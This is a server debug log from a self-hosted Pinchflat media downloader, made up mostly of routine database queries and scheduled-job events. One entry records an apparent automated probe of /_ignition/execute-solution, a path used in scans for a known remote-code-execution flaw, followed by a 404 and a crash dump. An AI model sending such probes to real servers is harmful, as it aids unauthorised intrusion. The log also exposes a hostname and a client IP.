s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:58.013 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.2ms idle=0.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [175] 18:48:58.013 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:58.013 [info] Sent 200 in 3ms 18:48:58.014 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:58.014 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:48:58.015 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:48:58.016 [info] Sent 200 in 6ms 18:49:00.505 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:21.285 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:51.287 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.506 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:21.289 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:51.291 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.506 [info] {"source":"oban","duration":122,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:21.293 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:51.296 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.508 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:21.298 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:51.300 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.509 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:21.301 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:51.303 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.510 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:21.305 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:51.307 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.511 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:21.309 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:51.311 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.512 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:21.313 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:51.315 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.513 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:21.317 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:51.318 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.514 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:21.320 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:51.321 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.515 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:21.323 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:51.324 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.516 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:00:21.326 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:51.328 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.517 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:21.330 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:51.333 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.518 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:21.335 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:51.336 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.519 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:21.338 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:51.340 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.520 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:21.342 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:51.344 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.521 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:21.346 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:51.348 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.522 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:21.350 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:51.352 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.523 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:21.355 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:51.357 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.524 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:21.358 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:51.359 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.525 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:21.360 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:51.361 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.526 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:21.363 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:38.086 [info] GET /_ignition/execute-solution 19:10:38.086 [debug] QUERY OK source="settings" db=0.2ms idle=1165.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:38.087 [debug] QUERY OK source="settings" db=0.1ms idle=1166.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:38.087 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:10:38.087 [error] #PID<0.4453.0> running PinchflatWeb.Endpoint (connection #PID<0.4452.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /_ignition/execute-solution ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/execute-solution (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/execute-solution", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53810}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0", "x-forwarded-for" => "43.228.157.102", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4453.0>, params: %{}, path_info: ["_ignition", "execute-solution"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0"}, {"x-forwarded-for", "43.228.157.102"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/_ignition/execute-solution", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVcmKps1M_xrDMAAaJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/execute-solution", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53810}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0", "x-forwarded-for" => "43.228.157.102", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/execute-solution (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/execute-solution", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53810}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0", "x-forwarded-for" => "43.228.157.102", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4453.0>, params: %{}, path_info: ["_ignition", "execute-solution"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0"}, {"x-forwarded-for", "43.228.157.102"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/_ignition/execute-solution", resp_body: (truncated) 19:10:51.364 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.527 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:21.365 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:51.366 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.528 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:21.367 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:51.368 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.529 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:21.369 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:51.371 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.530 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:21.372 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:51.373 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.531 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:21.374 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:51.375 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.532 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:21.376 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:51.377 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.533 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:21.378 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:51.379 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.534 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:21.380 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:51.381 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.535 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:21.382 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:51.383 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.536 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:21.384 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:51.385 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.537 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:21.386 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:51.387 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.538 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:21.388 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:51.389 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.539 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:21.390 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:51.391 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.540 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:21.392 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:51.393 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.541 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:21.394 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:51.395 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.542 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:21.396 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:51.397 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.544 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:21.398 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:51.399 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.545 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:21.400 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:51.401 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.546 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:21.402 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:51.403 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.547 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:21.404 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:51.405 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.548 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:21.406 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:51.407 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.549 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:21.408 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:51.409 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.550 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:21.410 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:51.411 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.551 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:21.412 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:51.413 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.552 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:21.414 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:51.415 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.553 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:21.416 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:51.417 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.554 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:21.418 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:51.419 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.555 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:21.420 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:51.421 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.556 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:21.422 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:51.423 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.558 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:21.424 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:51.425 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.559 [info] 